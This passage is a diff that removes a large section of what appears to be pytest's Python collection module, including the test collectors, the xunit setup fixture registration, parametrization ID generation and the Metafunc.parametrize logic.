self.getmodpath() - return path, lineno, modpath - - -# As an optimization, these builtin attribute names are pre-ignored when -# iterating over an object during collection -- the pytest_pycollect_makeitem -# hook is not called for them. -# fmt: off -class _EmptyClass: pass # noqa: E701 -IGNORED_ATTRIBUTES = frozenset.union( - frozenset(), - # Module. - dir(types.ModuleType("empty_module")), - # Some extra module attributes the above doesn't catch. - {"__builtins__", "__file__", "__cached__"}, - # Class. - dir(_EmptyClass), - # Instance. - dir(_EmptyClass()), -) -del _EmptyClass -# fmt: on - - -class PyCollector(PyobjMixin, nodes.Collector, abc.ABC): - def funcnamefilter(self, name: str) -> bool: - return self._matches_prefix_or_glob_option("python_functions", name) - - def isnosetest(self, obj: object) -> bool: - """Look for the __test__ attribute, which is applied by the - @nose.tools.istest decorator. - """ - # We explicitly check for "is True" here to not mistakenly treat - # classes with a custom __getattr__ returning something truthy (like a - # function) as test classes. - return safe_getattr(obj, "__test__", False) is True - - def classnamefilter(self, name: str) -> bool: - return self._matches_prefix_or_glob_option("python_classes", name) - - def istestfunction(self, obj: object, name: str) -> bool: - if self.funcnamefilter(name) or self.isnosetest(obj): - if isinstance(obj, (staticmethod, classmethod)): - # staticmethods and classmethods need to be unwrapped. - obj = safe_getattr(obj, "__func__", False) - return callable(obj) and fixtures.getfixturemarker(obj) is None - else: - return False - - def istestclass(self, obj: object, name: str) -> bool: - if not (self.classnamefilter(name) or self.isnosetest(obj)): - return False - if inspect.isabstract(obj): - return False - return True - - def _matches_prefix_or_glob_option(self, option_name: str, name: str) -> bool: - """Check if the given name matches the prefix or glob-pattern defined - in ini configuration.""" - for option in self.config.getini(option_name): - if name.startswith(option): - return True - # Check that name looks like a glob-string before calling fnmatch - # because this is called for every name in each collected module, - # and fnmatch is somewhat expensive to call. - elif ("*" in option or "?" in option or "[" in option) and fnmatch.fnmatch( - name, option - ): - return True - return False - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - if not getattr(self.obj, "__test__", True): - return [] - - # Avoid random getattrs and peek in the __dict__ instead. - dicts = [getattr(self.obj, "__dict__", {})] - if isinstance(self.obj, type): - for basecls in self.obj.__mro__: - dicts.append(basecls.__dict__) - - # In each class, nodes should be definition ordered. - # __dict__ is definition ordered. - seen: set[str] = set() - dict_values: list[list[nodes.Item | nodes.Collector]] = [] - ihook = self.ihook - for dic in dicts: - values: list[nodes.Item | nodes.Collector] = [] - # Note: seems like the dict can change during iteration - - # be careful not to remove the list() without consideration. - for name, obj in list(dic.items()): - if name in IGNORED_ATTRIBUTES: - continue - if name in seen: - continue - seen.add(name) - res = ihook.pytest_pycollect_makeitem( - collector=self, name=name, obj=obj - ) - if res is None: - continue - elif isinstance(res, list): - values.extend(res) - else: - values.append(res) - dict_values.append(values) - - # Between classes in the class hierarchy, reverse-MRO order -- nodes - # inherited from base classes should come before subclasses. - result = [] - for values in reversed(dict_values): - result.extend(values) - return result - - def _genfunctions(self, name: str, funcobj) -> Iterator[Function]: - modulecol = self.getparent(Module) - assert modulecol is not None - module = modulecol.obj - clscol = self.getparent(Class) - cls = clscol and clscol.obj or None - - definition = FunctionDefinition.from_parent(self, name=name, callobj=funcobj) - fixtureinfo = definition._fixtureinfo - - # pytest_generate_tests impls call metafunc.parametrize() which fills - # metafunc._calls, the outcome of the hook. - metafunc = Metafunc( - definition=definition, - fixtureinfo=fixtureinfo, - config=self.config, - cls=cls, - module=module, - _ispytest=True, - ) - methods = [] - if hasattr(module, "pytest_generate_tests"): - methods.append(module.pytest_generate_tests) - if cls is not None and hasattr(cls, "pytest_generate_tests"): - methods.append(cls().pytest_generate_tests) - self.ihook.pytest_generate_tests.call_extra(methods, dict(metafunc=metafunc)) - - if not metafunc._calls: - yield Function.from_parent(self, name=name, fixtureinfo=fixtureinfo) - else: - # Direct parametrizations taking place in module/class-specific - # `metafunc.parametrize` calls may have shadowed some fixtures, so make sure - # we update what the function really needs a.k.a its fixture closure. Note that - # direct parametrizations using `@pytest.mark.parametrize` have already been considered - # into making the closure using `ignore_args` arg to `getfixtureclosure`. - fixtureinfo.prune_dependency_tree() - - for callspec in metafunc._calls: - subname = f"{name}[{callspec.id}]" - yield Function.from_parent( - self, - name=subname, - callspec=callspec, - fixtureinfo=fixtureinfo, - keywords={callspec.id: True}, - originalname=name, - ) - - -def importtestmodule( - path: Path, - config: Config, -): - # We assume we are only called once per module. - importmode = config.getoption("--import-mode") - try: - mod = import_path( - path, - mode=importmode, - root=config.rootpath, - consider_namespace_packages=config.getini("consider_namespace_packages"), - ) - except SyntaxError as e: - raise nodes.Collector.CollectError( - ExceptionInfo.from_current().getrepr(style="short") - ) from e - except ImportPathMismatchError as e: - raise nodes.Collector.CollectError( - "import file mismatch:\n" - "imported module {!r} has this __file__ attribute:\n" - " {}\n" - "which is not the same as the test file we want to collect:\n" - " {}\n" - "HINT: remove __pycache__ / .pyc files and/or use a " - "unique basename for your test file modules".format(*e.args) - ) from e - except ImportError as e: - exc_info = ExceptionInfo.from_current() - if config.getoption("verbose") < 2: - exc_info.traceback = exc_info.traceback.filter(filter_traceback) - exc_repr = ( - exc_info.getrepr(style="short") - if exc_info.traceback - else exc_info.exconly() - ) - formatted_tb = str(exc_repr) - raise nodes.Collector.CollectError( - f"ImportError while importing test module '{path}'.\n" - "Hint: make sure your test modules/packages have valid Python names.\n" - "Traceback:\n" - f"{formatted_tb}" - ) from e - except skip.Exception as e: - if e.allow_module_level: - raise - raise nodes.Collector.CollectError( - "Using pytest.skip outside of a test will skip the entire module. " - "If that's your intention, pass `allow_module_level=True`. " - "If you want to skip a specific test or an entire class, " - "use the @pytest.mark.skip or @pytest.mark.skipif decorators." - ) from e - config.pluginmanager.consider_module(mod) - return mod - - -class Module(nodes.File, PyCollector): - """Collector for test classes and functions in a Python module.""" - - def _getobj(self): - return importtestmodule(self.path, self.config) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - self._register_setup_module_fixture() - self._register_setup_function_fixture() - self.session._fixturemanager.parsefactories(self) - return super().collect() - - def _register_setup_module_fixture(self) -> None: - """Register an autouse, module-scoped fixture for the collected module object - that invokes setUpModule/tearDownModule if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_module = _get_first_non_fixture_func( - self.obj, ("setUpModule", "setup_module") - ) - teardown_module = _get_first_non_fixture_func( - self.obj, ("tearDownModule", "teardown_module") - ) - - if setup_module is None and teardown_module is None: - return - - def xunit_setup_module_fixture(request) -> Generator[None, None, None]: - module = request.module - if setup_module is not None: - _call_with_optional_argument(setup_module, module) - yield - if teardown_module is not None: - _call_with_optional_argument(teardown_module, module) - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_module_fixture_{self.obj.__name__}", - func=xunit_setup_module_fixture, - nodeid=self.nodeid, - scope="module", - autouse=True, - ) - - def _register_setup_function_fixture(self) -> None: - """Register an autouse, function-scoped fixture for the collected module object - that invokes setup_function/teardown_function if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_function = _get_first_non_fixture_func(self.obj, ("setup_function",)) - teardown_function = _get_first_non_fixture_func( - self.obj, ("teardown_function",) - ) - if setup_function is None and teardown_function is None: - return - - def xunit_setup_function_fixture(request) -> Generator[None, None, None]: - if request.instance is not None: - # in this case we are bound to an instance, so we need to let - # setup_method handle this - yield - return - function = request.function - if setup_function is not None: - _call_with_optional_argument(setup_function, function) - yield - if teardown_function is not None: - _call_with_optional_argument(teardown_function, function) - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_function_fixture_{self.obj.__name__}", - func=xunit_setup_function_fixture, - nodeid=self.nodeid, - scope="function", - autouse=True, - ) - - -class Package(nodes.Directory): - """Collector for files and directories in a Python packages -- directories - with an `__init__.py` file. - - .. note:: - - Directories without an `__init__.py` file are instead collected by - :class:`~pytest.Dir` by default. Both are :class:`~pytest.Directory` - collectors. - - .. versionchanged:: 8.0 - - Now inherits from :class:`~pytest.Directory`. - """ - - def __init__( - self, - fspath: LEGACY_PATH | None, - parent: nodes.Collector, - # NOTE: following args are unused: - config=None, - session=None, - nodeid=None, - path: Path | None = None, - ) -> None: - # NOTE: Could be just the following, but kept as-is for compat. - # super().__init__(self, fspath, parent=parent) - session = parent.session - super().__init__( - fspath=fspath, - path=path, - parent=parent, - config=config, - session=session, - nodeid=nodeid, - ) - - def setup(self) -> None: - init_mod = importtestmodule(self.path / "__init__.py", self.config) - - # Not using fixtures to call setup_module here because autouse fixtures - # from packages are not called automatically (#4085). - setup_module = _get_first_non_fixture_func( - init_mod, ("setUpModule", "setup_module") - ) - if setup_module is not None: - _call_with_optional_argument(setup_module, init_mod) - - teardown_module = _get_first_non_fixture_func( - init_mod, ("tearDownModule", "teardown_module") - ) - if teardown_module is not None: - func = partial(_call_with_optional_argument, teardown_module, init_mod) - self.addfinalizer(func) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - # Always collect __init__.py first. - def sort_key(entry: os.DirEntry[str]) -> object: - return (entry.name != "__init__.py", entry.name) - - config = self.config - col: nodes.Collector | None - cols: Sequence[nodes.Collector] - ihook = self.ihook - for direntry in scandir(self.path, sort_key): - if direntry.is_dir(): - path = Path(direntry.path) - if not self.session.isinitpath(path, with_parents=True): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - col = ihook.pytest_collect_directory(path=path, parent=self) - if col is not None: - yield col - - elif direntry.is_file(): - path = Path(direntry.path) - if not self.session.isinitpath(path): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - cols = ihook.pytest_collect_file(file_path=path, parent=self) - yield from cols - - -def _call_with_optional_argument(func, arg) -> None: - """Call the given function with the given argument if func accepts one argument, otherwise - calls func without arguments.""" - arg_count = func.__code__.co_argcount - if inspect.ismethod(func): - arg_count -= 1 - if arg_count: - func(arg) - else: - func() - - -def _get_first_non_fixture_func(obj: object, names: Iterable[str]) -> object | None: - """Return the attribute from the given object to be used as a setup/teardown - xunit-style function, but only if not marked as a fixture to avoid calling it twice. - """ - for name in names: - meth: object | None = getattr(obj, name, None) - if meth is not None and fixtures.getfixturemarker(meth) is None: - return meth - return None - - -class Class(PyCollector): - """Collector for test methods (and nested classes) in a Python class.""" - - @classmethod - def from_parent(cls, parent, *, name, obj=None, **kw) -> Self: # type: ignore[override] - """The public constructor.""" - return super().from_parent(name=name, parent=parent, **kw) - - def newinstance(self): - return self.obj() - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - if not safe_getattr(self.obj, "__test__", True): - return [] - if hasinit(self.obj): - assert self.parent is not None - self.warn( - PytestCollectionWarning( - f"cannot collect test class {self.obj.__name__!r} because it has a " - f"__init__ constructor (from: {self.parent.nodeid})" - ) - ) - return [] - elif hasnew(self.obj): - assert self.parent is not None - self.warn( - PytestCollectionWarning( - f"cannot collect test class {self.obj.__name__!r} because it has a " - f"__new__ constructor (from: {self.parent.nodeid})" - ) - ) - return [] - - self._register_setup_class_fixture() - self._register_setup_method_fixture() - - self.session._fixturemanager.parsefactories(self.newinstance(), self.nodeid) - - return super().collect() - - def _register_setup_class_fixture(self) -> None: - """Register an autouse, class scoped fixture into the collected class object - that invokes setup_class/teardown_class if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_class = _get_first_non_fixture_func(self.obj, ("setup_class",)) - teardown_class = _get_first_non_fixture_func(self.obj, ("teardown_class",)) - if setup_class is None and teardown_class is None: - return - - def xunit_setup_class_fixture(request) -> Generator[None, None, None]: - cls = request.cls - if setup_class is not None: - func = getimfunc(setup_class) - _call_with_optional_argument(func, cls) - yield - if teardown_class is not None: - func = getimfunc(teardown_class) - _call_with_optional_argument(func, cls) - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_class_fixture_{self.obj.__qualname__}", - func=xunit_setup_class_fixture, - nodeid=self.nodeid, - scope="class", - autouse=True, - ) - - def _register_setup_method_fixture(self) -> None: - """Register an autouse, function scoped fixture into the collected class object - that invokes setup_method/teardown_method if either or both are available. - - Using a fixture to invoke these methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_name = "setup_method" - setup_method = _get_first_non_fixture_func(self.obj, (setup_name,)) - teardown_name = "teardown_method" - teardown_method = _get_first_non_fixture_func(self.obj, (teardown_name,)) - if setup_method is None and teardown_method is None: - return - - def xunit_setup_method_fixture(request) -> Generator[None, None, None]: - instance = request.instance - method = request.function - if setup_method is not None: - func = getattr(instance, setup_name) - _call_with_optional_argument(func, method) - yield - if teardown_method is not None: - func = getattr(instance, teardown_name) - _call_with_optional_argument(func, method) - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_method_fixture_{self.obj.__qualname__}", - func=xunit_setup_method_fixture, - nodeid=self.nodeid, - scope="function", - autouse=True, - ) - - -def hasinit(obj: object) -> bool: - init: object = getattr(obj, "__init__", None) - if init: - return init != object.__init__ - return False - - -def hasnew(obj: object) -> bool: - new: object = getattr(obj, "__new__", None) - if new: - return new != object.__new__ - return False - - -@final -@dataclasses.dataclass(frozen=True) -class IdMaker: - """Make IDs for a parametrization.""" - - __slots__ = ( - "argnames", - "parametersets", - "idfn", - "ids", - "config", - "nodeid", - "func_name", - ) - - # The argnames of the parametrization. - argnames: Sequence[str] - # The ParameterSets of the parametrization. - parametersets: Sequence[ParameterSet] - # Optionally, a user-provided callable to make IDs for parameters in a - # ParameterSet. - idfn: Callable[[Any], object | None] | None - # Optionally, explicit IDs for ParameterSets by index. - ids: Sequence[object | None] | None - # Optionally, the pytest config. - # Used for controlling ASCII escaping, and for calling the - # :hook:`pytest_make_parametrize_id` hook. - config: Config | None - # Optionally, the ID of the node being parametrized. - # Used only for clearer error messages. - nodeid: str | None - # Optionally, the ID of the function being parametrized. - # Used only for clearer error messages. - func_name: str | None - - def make_unique_parameterset_ids(self) -> list[str]: - """Make a unique identifier for each ParameterSet, that may be used to - identify the parametrization in a node ID. - - Format is -...-[counter], where prm_x_token is - - user-provided id, if given - - else an id derived from the value, applicable for certain types - - else - The counter suffix is appended only in case a string wouldn't be unique - otherwise. - """ - resolved_ids = list(self._resolve_ids()) - # All IDs must be unique! - if len(resolved_ids) != len(set(resolved_ids)): - # Record the number of occurrences of each ID. - id_counts = Counter(resolved_ids) - # Map the ID to its next suffix. - id_suffixes: dict[str, int] = defaultdict(int) - # Suffix non-unique IDs to make them unique. - for index, id in enumerate(resolved_ids): - if id_counts[id] > 1: - suffix = "" - if id and id[-1].isdigit(): - suffix = "_" - new_id = f"{id}{suffix}{id_suffixes[id]}" - while new_id in set(resolved_ids): - id_suffixes[id] += 1 - new_id = f"{id}{suffix}{id_suffixes[id]}" - resolved_ids[index] = new_id - id_suffixes[id] += 1 - assert len(resolved_ids) == len( - set(resolved_ids) - ), f"Internal error: {resolved_ids=}" - return resolved_ids - - def _resolve_ids(self) -> Iterable[str]: - """Resolve IDs for all ParameterSets (may contain duplicates).""" - for idx, parameterset in enumerate(self.parametersets): - if parameterset.id is not None: - # ID provided directly - pytest.param(..., id="...") - yield parameterset.id - elif self.ids and idx < len(self.ids) and self.ids[idx] is not None: - # ID provided in the IDs list - parametrize(..., ids=[...]). - yield self._idval_from_value_required(self.ids[idx], idx) - else: - # ID not provided - generate it. - yield "-".join( - self._idval(val, argname, idx) - for val, argname in zip(parameterset.values, self.argnames) - ) - - def _idval(self, val: object, argname: str, idx: int) -> str: - """Make an ID for a parameter in a ParameterSet.""" - idval = self._idval_from_function(val, argname, idx) - if idval is not None: - return idval - idval = self._idval_from_hook(val, argname) - if idval is not None: - return idval - idval = self._idval_from_value(val) - if idval is not None: - return idval - return self._idval_from_argname(argname, idx) - - def _idval_from_function(self, val: object, argname: str, idx: int) -> str | None: - """Try to make an ID for a parameter in a ParameterSet using the - user-provided id callable, if given.""" - if self.idfn is None: - return None - try: - id = self.idfn(val) - except Exception as e: - prefix = f"{self.nodeid}: " if self.nodeid is not None else "" - msg = "error raised while trying to determine id of parameter '{}' at position {}" - msg = prefix + msg.format(argname, idx) - raise ValueError(msg) from e - if id is None: - return None - return self._idval_from_value(id) - - def _idval_from_hook(self, val: object, argname: str) -> str | None: - """Try to make an ID for a parameter in a ParameterSet by calling the - :hook:`pytest_make_parametrize_id` hook.""" - if self.config: - id: str | None = self.config.hook.pytest_make_parametrize_id( - config=self.config, val=val, argname=argname - ) - return id - return None - - def _idval_from_value(self, val: object) -> str | None: - """Try to make an ID for a parameter in a ParameterSet from its value, - if the value type is supported.""" - if isinstance(val, (str, bytes)): - return _ascii_escaped_by_config(val, self.config) - elif val is None or isinstance(val, (float, int, bool, complex)): - return str(val) - elif isinstance(val, Pattern): - return ascii_escaped(val.pattern) - elif val is NOTSET: - # Fallback to default. Note that NOTSET is an enum.Enum. - pass - elif isinstance(val, enum.Enum): - return str(val) - elif isinstance(getattr(val, "__name__", None), str): - # Name of a class, function, module, etc. - name: str = getattr(val, "__name__") - return name - return None - - def _idval_from_value_required(self, val: object, idx: int) -> str: - """Like _idval_from_value(), but fails if the type is not supported.""" - id = self._idval_from_value(val) - if id is not None: - return id - - # Fail. - if self.func_name is not None: - prefix = f"In {self.func_name}: " - elif self.nodeid is not None: - prefix = f"In {self.nodeid}: " - else: - prefix = "" - msg = ( - f"{prefix}ids contains unsupported value {saferepr(val)} (type: {type(val)!r}) at index {idx}. " - "Supported types are: str, bytes, int, float, complex, bool, enum, regex or anything with a __name__." - ) - fail(msg, pytrace=False) - - @staticmethod - def _idval_from_argname(argname: str, idx: int) -> str: - """Make an ID for a parameter in a ParameterSet from the argument name - and the index of the ParameterSet.""" - return str(argname) + str(idx) - - -@final -@dataclasses.dataclass(frozen=True) -class CallSpec2: - """A planned parameterized invocation of a test function. - - Calculated during collection for a given test function's Metafunc. - Once collection is over, each callspec is turned into a single Item - and stored in item.callspec. - """ - - # arg name -> arg value which will be passed to a fixture or pseudo-fixture - # of the same name. (indirect or direct parametrization respectively) - params: dict[str, object] = dataclasses.field(default_factory=dict) - # arg name -> arg index. - indices: dict[str, int] = dataclasses.field(default_factory=dict) - # Used for sorting parametrized resources. - _arg2scope: Mapping[str, Scope] = dataclasses.field(default_factory=dict) - # Parts which will be added to the item's name in `[..]` separated by "-". - _idlist: Sequence[str] = dataclasses.field(default_factory=tuple) - # Marks which will be applied to the item. - marks: list[Mark] = dataclasses.field(default_factory=list) - - def setmulti( - self, - *, - argnames: Iterable[str], - valset: Iterable[object], - id: str, - marks: Iterable[Mark | MarkDecorator], - scope: Scope, - param_index: int, - ) -> CallSpec2: - params = self.params.copy() - indices = self.indices.copy() - arg2scope = dict(self._arg2scope) - for arg, val in zip(argnames, valset): - if arg in params: - raise ValueError(f"duplicate parametrization of {arg!r}") - params[arg] = val - indices[arg] = param_index - arg2scope[arg] = scope - return CallSpec2( - params=params, - indices=indices, - _arg2scope=arg2scope, - _idlist=[*self._idlist, id], - marks=[*self.marks, *normalize_mark_list(marks)], - ) - - def getparam(self, name: str) -> object: - try: - return self.params[name] - except KeyError as e: - raise ValueError(name) from e - - @property - def id(self) -> str: - return "-".join(self._idlist) - - -def get_direct_param_fixture_func(request: FixtureRequest) -> Any: - return request.param - - -# Used for storing pseudo fixturedefs for direct parametrization. -name2pseudofixturedef_key = StashKey[Dict[str, FixtureDef[Any]]]() - - -@final -class Metafunc: - """Objects passed to the :hook:`pytest_generate_tests` hook. - - They help to inspect a test function and to generate tests according to - test configuration or values specified in the class or module where a - test function is defined. - """ - - def __init__( - self, - definition: FunctionDefinition, - fixtureinfo: fixtures.FuncFixtureInfo, - config: Config, - cls=None, - module=None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - - #: Access to the underlying :class:`_pytest.python.FunctionDefinition`. - self.definition = definition - - #: Access to the :class:`pytest.Config` object for the test session. - self.config = config - - #: The module object where the test function is defined in. - self.module = module - - #: Underlying Python test function. - self.function = definition.obj - - #: Set of fixture names required by the test function. - self.fixturenames = fixtureinfo.names_closure - - #: Class object where the test function is defined in or ``None``. - self.cls = cls - - self._arg2fixturedefs = fixtureinfo.name2fixturedefs - - # Result of parametrize(). - self._calls: list[CallSpec2] = [] - - def parametrize( - self, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - indirect: bool | Sequence[str] = False, - ids: Iterable[object | None] | Callable[[Any], object | None] | None = None, - scope: _ScopeName | None = None, - *, - _param_mark: Mark | None = None, - ) -> None: - """Add new invocations to the underlying test function using the list - of argvalues for the given argnames. Parametrization is performed - during the collection phase. If you need to setup expensive resources - see about setting indirect to do it rather than at test setup time. - - Can be called multiple times per test function (but only on different - argument names), in which case each call parametrizes all previous - parametrizations, e.g. - - :: - - unparametrized: t - parametrize ["x", "y"]: t[x], t[y] - parametrize [1, 2]: t[x-1], t[x-2], t[y-1], t[y-2] - - :param argnames: - A comma-separated string denoting one or more argument names, or - a list/tuple of argument strings. - - :param argvalues: - The list of argvalues determines how often a test is invoked with - different argument values. - - If only one argname was specified argvalues is a list of values. - If N argnames were specified, argvalues must be a list of - N-tuples, where each tuple-element specifies a value for its - respective argname. - :type argvalues: Iterable[_pytest.mark.structures.ParameterSet | Sequence[object] | object] - :param indirect: - A list of arguments' names (subset of argnames) or a boolean. - If True the list contains all names from the argnames. Each - argvalue corresponding to an argname in this list will - be passed as request.param to its respective argname fixture - function so that it can perform more expensive setups during the - setup phase of a test rather than at collection time. - - :param ids: - Sequence of (or generator for) ids for ``argvalues``, - or a callable to return part of the id for each argvalue. - - With sequences (and generators like ``itertools.count()``) the - returned ids should be of type ``string``, ``int``, ``float``, - ``bool``, or ``None``. - They are mapped to the corresponding index in ``argvalues``. - ``None`` means to use the auto-generated id. - - If it is a callable it will be called for each entry in - ``argvalues``, and the return value is used as part of the - auto-generated id for the whole set (where parts are joined with - dashes ("-")). - This is useful to provide more specific ids for certain items, e.g. - dates. Returning ``None`` will use an auto-generated id. - - If no ids are provided they will be generated automatically from - the argvalues. - - :param scope: - If specified it denotes the scope of the parameters. - The scope is used for grouping tests by parameter instances. - It will also override any fixture-function defined scope, allowing - to set a dynamic scope using test context or configuration. - """ - argnames, parametersets = ParameterSet._for_parametrize( - argnames, - argvalues, - self.function, - self.config, - nodeid=self.definition.nodeid, - ) - del argvalues - - if "request" in argnames: - fail( - "'request' is a reserved name and cannot be used in @pytest.mark.parametrize", - pytrace=False, - ) - - if scope is not None: - scope_ = Scope.from_user( - scope, descr=f"parametrize() call in {self.function.__name__}" - ) - else: - scope_ = _find_parametrized_scope(argnames, self._arg2fixturedefs, indirect) - - self._validate_if_using_arg_names(argnames, indirect) - - # Use any already (possibly) generated ids with parametrize Marks. - if _param_mark and _param_mark._param_ids_from: - generated_ids = _param_mark._param_ids_from._param_ids_generated - if generated_ids is not None: - ids = generated_ids - - ids = self._resolve_parameter_set_ids( - argnames, ids, parametersets, nodeid=self.definition.nodeid - ) - - # Store used (possibly generated) ids with parametrize Marks. - if _param_mark and _param_mark._param_ids_from and generated_ids is None: - object.__setattr__(_param_mark._param_ids_from, "_param_ids_generated", ids) - - # Add funcargs as fixturedefs to fixtureinfo.arg2fixturedefs by registering - # artificial "pseudo" FixtureDef's so that later at test execution time we can - # rely on a proper FixtureDef to exist for fixture setup. - node = None - # If we have a scope that is higher than function, we need - # to make sure we only ever create an according fixturedef on - # a per-scope basis. We thus store and cache the fixturedef on the - # node related to the scope. - if scope_ is not Scope.Function: - collector = self.definition.parent - assert collector is not None - node = get_scope_node(collector, scope_) - if node is None: - # If used class scope and there is no class, use module-level - # collector (for now). - if scope_ is Scope.Class: - assert isinstance(collector, Module) - node = collector - # If used package scope and there is no package, use session - # (for now). - elif scope_ is Scope.Package: - node = collector.session - else: - assert False, f"Unhandled missing scope: {scope}" - if node is None: - name2pseudofixturedef = None - else: - default: dict[str, FixtureDef[Any]] = {} - name2pseudofixturedef = node.stash.setdefault( - name2pseudofixturedef_key, default - ) - arg_directness = self._resolve_args_directness(argnames, indirect) - for argname in argnames: - if arg_directness[argname] == "indirect": - continue - if name2pseudofixturedef is not None and argname in name2pseudofixturedef: - fixturedef = name2pseudofixturedef[argname] - else: - fixturedef = FixtureDef( - config=self.config, - baseid="", - argname=argname, - func=get_direct_param_fixture_func, - scope=scope_, - params=None, - ids=None, - _ispytest=True, - ) - if name2pseudofixturedef is not None: - name2pseudofixturedef[argname] = fixturedef - self._arg2fixturedefs[argname] = [fixturedef] - - # Create the new calls: if we are parametrize() multiple times (by applying the decorator - # more than once) then we accumulate those calls generating the cartesian product - # of all calls. - newcalls = [] - for callspec in self._calls or [CallSpec2()]: - for param_index, (param_id, param_set) in enumerate( - zip(ids, parametersets) - ): - newcallspec = callspec.setmulti( - argnames=argnames, - valset=param_set.values, - id=param_id, - marks=param_set.marks, - scope=scope_, - param_index=param_index, - ) - newcalls.append(newcallspec) - self._calls = newcalls - - def _resolve_parameter_set_ids( - self, - argnames: Sequence[str], - ids: Iterable[object | None] | Callable[[Any], object | None] | None, - parametersets: Sequence[ParameterSet], - nodeid: str, - ) -> list[str]: - """Resolve the actual ids for the given parameter sets. - - :param argnames: - Argument names passed to ``parametrize()``. - :param ids: - The `ids` parameter of the ``parametrize()`` call (see docs). - :param parametersets: - The parameter sets, each containing a set of values corresponding - to ``argnames``. - :param nodeid str: - The nodeid of the definition item that generated this - parametrization. - :returns: - List with ids for each parameter set given. - """ - if ids is None: - idfn = None - ids_ = None - elif callable(ids): - idfn = ids - ids_ = None - else: - idfn = None - ids_ = self._validate_ids(ids, parametersets, self.function.__name__) - id_maker = IdMaker( - argnames, - parametersets, - idfn, - ids_, - self.config, - nodeid=nodeid, - func_name=self.function.__name__, - ) - return id_maker.make_unique_parameterset_ids() - - def _validate_ids( - self, - ids: Iterable[object | None], - parametersets: Sequence[ParameterSet], - func_name: str, - ) -> list[object | None]: - try: - num_ids = len(ids) # type: ignore[arg-type] - except TypeError: - try: - iter(ids) - except TypeError as e: - raise TypeError("ids must be a callable or an iterable") from e - num_ids = len(parametersets) - - # num_ids == 0 is a special case: https://github.com/pytest-dev/pytest/issues/1849 - if num_ids != len(parametersets) and num_ids != 0: - msg = "In {}: {} parameter sets specified, with different number of ids: {}" - fail(msg.format(func_name, len(parametersets), num_ids), pytrace=False) - - return list(itertools.islice(ids, num_ids)) - - def _resolve_args_directness( - self, - argnames: Sequence[str], - indirect: bool | Sequence[str], - ) -> dict[str, Literal["indirect", "direct"]]: - """Resolve if each parametrized argument must be considered an indirect - parameter to a fixture of the same name, or a direct parameter to the - parametrized function, based on the ``indirect`` parameter of the - parametrized() call. - - :param argnames: - List of argument names passed to ``parametrize()``. - :param indirect: - Same as the ``indirect`` parameter of ``parametrize()``. - :returns - A dict mapping each arg name to either "indirect" or "direct". - """ - arg_directness: dict[str, Literal["indirect", "direct"]] - if isinstance(indirect, bool): - arg_directness = dict.fromkeys( - argnames, "indirect" if indirect else "direct" - ) - elif isinstance(indirect, Sequence): - arg_directness = dict.fromkeys(argnames, "direct") - for arg in indirect: - if arg not in argnames: - fail( - f"In {self.function.__name__}: indirect fixture '{arg}' doesn't exist", - pytrace=False, - ) - arg_directness[arg] = "indirect" - else: - fail( - f"In {self.function.__name__}: expected Sequence or boolean" - f" for indirect, got {type(indirect).__name__}", - pytrace=False, - ) - return arg_directness - - def _validate_if_using_arg_names( - self, - argnames: Sequence[str], - indirect: bool | Sequence[str], - ) -> None: - """Check if all argnames are being used, by default values, or directly/indirectly. - - :param List[str] argnames: List of argument names passed to ``parametrize()``. - :param indirect: Same as the ``indirect`` parameter of ``parametrize()``. - :raises ValueError: If validation fails. - """ - default_arg_names = set(get_default_arg_names(self.function)) - func_name = self.function.__name__ - for arg in argnames: - if arg not in self.fixturenames: - if arg in default_arg_names: - fail( - f"In {func_name}: function already takes an argument '{arg}' with a default value", - pytrace=False, - ) - else: - if isinstance(indirect, Sequence): - name = "fixture" if arg in indirect else "argument" - else: - name = "fixture" if indirect else "argument" - fail( - f"In {func_name}: function uses no {name} '{arg}'", - pytrace=False, - ) - - -def _find_parametrized_scope( - argnames: Sequence[str], - arg2fixturedefs: Mapping[str, Sequence[fixtures.FixtureDef[object]]], - indirect: bool | Sequence[str], -) -> Scope: - """Find the most appropriate scope for a parametrized call based on its arguments. - - When there's at least one direct argument, always use "function" scope. - - When a test function is parametrized and all its arguments are indirect - (e.g. fixtures), return the most narrow scope based on the fixtures used. - - Related to issue #1832, based on code posted by @Kingdread. - """ - if isinstance(indirect, Sequence): - all_arguments_are_fixtures = len(indirect) == len(argnames) - else: - all_arguments_are_fixtures = bool(indirect) - - if all_arguments_are_fixtures: - fixturedefs = arg2fixturedefs or {} - used_scopes = [ - fixturedef[-1]._scope - for name, fixturedef in fixturedefs.items() - if name in argnames - ] - # Takes the most narrow scope from used fixtures. - return min(used_scopes, default=Scope.Function) - - return Scope.Function - - -def _ascii_escaped_by_config(val: str | bytes, config: Config | None) -> str: - if config is None: - escape_option = False - else: - escape_option = config.getini( - "disable_test_id_escaping_and_forfeit_all_rights_to_community_support" - ) - # TODO: If escaping is turned off and the user passes bytes, - # will return a bytes. For now we ignore this but the - # code *probably* doesn't handle this case. - return val if escape_option else ascii_escaped(val) # type: ignore - - -class Function(PyobjMixin, nodes.Item): - """Item responsible for setting up and executing a Python test function. - - :param name: - The full function name, including any decorations like those - added by parametrization (``my_func[my_param]``). - :param parent: - The parent Node. - :param config: - The pytest Config object. - :param callspec: - If given, this function has been parametrized and the callspec contains - meta information about the parametrization. - :param callobj: - If given, the object which will be called when the Function is invoked, - otherwise the callobj will be obtained from ``parent`` using ``originalname``. - :param keywords: - Keywords bound to the function object for "-k" matching. 